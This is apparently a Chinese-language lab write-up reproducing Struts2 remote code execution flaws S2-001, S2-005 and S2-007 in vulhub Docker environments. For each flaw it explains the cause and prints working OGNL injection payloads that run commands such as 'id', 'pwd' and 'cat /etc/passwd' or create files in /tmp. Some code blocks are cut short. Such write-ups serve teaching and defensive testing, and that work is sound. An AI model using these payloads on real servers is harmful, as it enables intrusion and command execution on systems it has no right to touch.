什么是struts
Struts2就是一个框架,它是属于web层的一个框架,是Struts1的一个升级版,但是它和Struts1来相比,提供了太多的增强和改进,怎么运行的呢,就是实现了Servlet的功能,来进行控制页面跳转。 同时这也是基于MVC设计模式的Web应用框架,Struts2的控制功能就相当于MVC中的Controller的功能,用来控制页面的转向。
S2-001远程代码执行漏洞
漏洞发现
通过网页后缀来发现是否为xxx.do或xxx.action,有的需要抓包看提交的请求链接是否存在以上两种情况,有的是在返回的链接上。
漏洞成因
当用户提交表单数据且验证失败时,服务器使用OGNL表达式%{value}解析用户先前提交的参数值,并重新填充相应的表单数据。例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。
环境搭建
使用vulhub/Struct2/S2-001
docker-compose build
docker-compose up -d
这样子就搭建成功了。
漏洞复现
用户名随意输入,密码输入以下内容
获取tomcat执行路径:
1 | %{"tomcatBinDir{"+ .lang.System ("user.dir")+"}"} |
获取Web路径:
1 | %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} |
执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}
):
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
S2-005远程代码执行漏洞
漏洞发现
通过网页后缀来发现是否为xxx.do或xxx.action,有的需要抓包看提交的请求链接是否存在以上两种情况,有的是在返回的链接上。
漏洞成因
服务器使用OGNL表达式%{value}解析每个请求参数名。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。在S2-003中,Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码),
例如:XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
S2-003 使用\u0023绕过s2对#的防御
S2-003 后官方增加了安全模式(沙盒)
S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
环境搭建
使用vulhub/Struct2/S2-005
docker-compose build
docker-compose up -d
这样子就搭建成功了。
漏洞复现
在Get请求Url中拼凑下方的Poc,该Poc是在tmp目录下创建一个success文件。
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
大概可以理解为,(aaa)(bbb)
中aaa作为OGNL表达式字符串,bbb作为该表达式的root对象,所以一般aaa位置如果需要执行代码,需要用引号包裹起来,而bbb位置可以直接放置Java语句。(aaa)(bbb)=true
实际上就是aaa=true
。
执行任意命令POC(有回显,将需要执行的命令进行urlencode编码)
1 | POST /example/HelloWorld.action HTTP/1.1 |
S2-007远程代码执行漏洞
漏洞成因
当配置了验证规则 <ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:
1 | (...) |
然后配置有 UserAction-validation.xml:
1 |
|
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'"
然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
环境搭建
使用vulhub/Struct2/S2-007
docker-compose build
docker-compose up -d
漏洞复现
执行任意代码的EXP:
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' |